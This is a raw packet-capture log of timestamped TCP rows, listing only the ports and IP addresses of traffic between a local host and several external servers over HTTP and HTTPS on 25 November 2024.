Nov 25, 2024 18:28:36.664393902 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.664423943 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.664438963 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.664449930 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.664490938 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.667851925 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.669925928 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.669938087 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.669991970 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.671516895 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.671551943 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.671572924 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.671581030 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.671803951 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.675143003 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.678330898 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.678356886 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.678414106 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.678427935 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.678441048 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.678451061 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.678476095 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.682617903 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.682704926 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.682713032 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.685736895 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.685795069 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.685801029 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.686805964 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.686919928 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.687083960 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.687216043 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.688946009 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.692231894 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.692240953 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.695229053 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.695291042 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.695755005 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.695943117 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.696214914 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.696255922 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.696302891 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.696321011 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.696445942 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.699553013 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.699687004 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.700006962 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.700087070 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:36.700103045 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:36.703737020 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.703963995 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.733756065 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.733839989 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.736175060 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.736227989 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.736227989 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.736243010 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.736253023 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.739391088 CET	49805	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.739430904 CET	443	49805	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.739700079 CET	49805	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.739968061 CET	49805	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.739981890 CET	443	49805	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.749623060 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.749707937 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.752799988 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.752909899 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.753144979 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.753191948 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.757030964 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.757069111 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.757175922 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.757484913 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.757505894 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.757570028 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.759541035 CET	49807	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.759555101 CET	443	49807	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.759785891 CET	49806	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.759799004 CET	443	49806	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.760046959 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.760092974 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.760390043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.760941029 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.766753912 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.766834021 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.767014980 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.767155886 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.767175913 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.767188072 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.767194033 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.768507957 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.768533945 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.768583059 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.768608093 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.770668030 CET	49808	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.770701885 CET	443	49808	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.770945072 CET	49808	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.771306038 CET	49808	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.771322966 CET	443	49808	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.780706882 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.780802965 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.781389952 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.781474113 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.810214996 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.810281038 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.810292959 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.810352087 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.814145088 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.814212084 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.814274073 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.822613955 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.822624922 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.822684050 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.832108021 CET	443	49797	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:36.832473993 CET	49797	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:36.832488060 CET	443	49797	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:36.833545923 CET	443	49797	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:36.833656073 CET	49797	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:36.834227085 CET	49797	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:36.834290981 CET	443	49797	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:36.835381031 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.835961103 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.836050987 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.841078997 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.841085911 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.841276884 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.841284037 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.843605042 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.843657017 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.843689919 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.843712091 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.845458031 CET	49809	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.845494032 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.846096039 CET	49809	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.846363068 CET	49809	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.846375942 CET	443	49809	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.847476006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.847500086 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.847532034 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.847544909 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.847697973 CET	443	49791	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.847774029 CET	443	49791	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.847836018 CET	49791	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.848195076 CET	49791	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.848207951 CET	443	49791	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.848217964 CET	49791	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.848225117 CET	443	49791	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.850568056 CET	49810	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.850591898 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.850805044 CET	49810	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.850938082 CET	49810	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:36.850951910 CET	443	49810	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:36.855799913 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.855813026 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.855906010 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.864192009 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.864245892 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.864717960 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.864778996 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.872692108 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.872781038 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.873096943 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.873465061 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.879651070 CET	443	49798	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:36.879959106 CET	49798	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:36.879983902 CET	443	49798	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:36.880316973 CET	443	49798	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:36.880850077 CET	49798	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:36.880918980 CET	443	49798	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:36.881376982 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.881437063 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.881661892 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.881836891 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.883637905 CET	49797	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:36.883665085 CET	443	49797	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:36.886059046 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.886116028 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.886145115 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.886197090 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.890528917 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.890582085 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.890614986 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.890671015 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.894804955 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.894860029 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.894902945 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.895083904 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.898936033 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.899054050 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.899116993 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.903284073 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.903356075 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.903429031 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.903522968 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.907435894 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.907490015 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.907573938 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.907613993 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.911775112 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.911830902 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.912204027 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.912250042 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.916043043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.916151047 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.916874886 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.916970015 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.930695057 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.930772066 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.930804014 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.931356907 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.931461096 CET	49797	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:36.932877064 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.932930946 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.933538914 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.933582067 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.937078953 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.937130928 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.937338114 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.937452078 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.941274881 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.941346884 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.941378117 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.941395998 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.964217901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.964246035 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.964288950 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.964310884 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.966109991 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.966200113 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.966255903 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.977355957 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.977539062 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.977613926 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.977791071 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.979209900 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.979270935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.979347944 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.991492033 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.991512060 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.991622925 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.993362904 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.993432999 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.993648052 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.993700027 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.997646093 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.997714043 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:36.998473883 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:36.998527050 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.002223969 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.002356052 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.003140926 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.003205061 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.006160975 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.006237030 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.006444931 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.006691933 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.010252953 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.010320902 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.010560989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.011065960 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.014492989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.014506102 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.014570951 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.018019915 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.018213987 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.018228054 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.018290997 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.021560907 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.021625042 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.021984100 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.022042036 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.025002003 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.025073051 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.025101900 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.025196075 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.028369904 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.028536081 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.028665066 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.028732061 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.031615973 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.031769991 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.031830072 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.034874916 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.034934998 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.035478115 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.035538912 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.038009882 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.038081884 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.039099932 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.039378881 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.041121006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.041325092 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.042000055 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.042081118 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.044286966 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.044297934 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.044354916 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.047164917 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.047177076 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.047231913 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.050041914 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.050075054 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.050111055 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.050123930 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.052962065 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.052975893 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.053096056 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.055900097 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.055912018 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.055964947 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.058621883 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.058711052 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.058721066 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.058759928 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.061115026 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.061208963 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.065105915 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:37.065170050 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:37.065279007 CET	49795	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:37.065673113 CET	49795	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:37.065692902 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:37.065704107 CET	49795	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:37.065710068 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:37.068623066 CET	49815	443	192.168.2.5	23.44.133.41
Nov 25, 2024 18:28:37.068650007 CET	443	49815	23.44.133.41	192.168.2.5
Nov 25, 2024 18:28:37.068732023 CET	49815	443	192.168.2.5	23.44.133.41
Nov 25, 2024 18:28:37.068969965 CET	49815	443	192.168.2.5	23.44.133.41
Nov 25, 2024 18:28:37.068989038 CET	443	49815	23.44.133.41	192.168.2.5
Nov 25, 2024 18:28:37.069525957 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:37.069552898 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:37.069637060 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:37.071413040 CET	49816	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:37.071429014 CET	443	49816	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:37.071722984 CET	49798	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:37.109529972 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.109627008 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.109647036 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.109677076 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.110815048 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.110940933 CET	49761	80	192.168.2.5	185.215.113.206
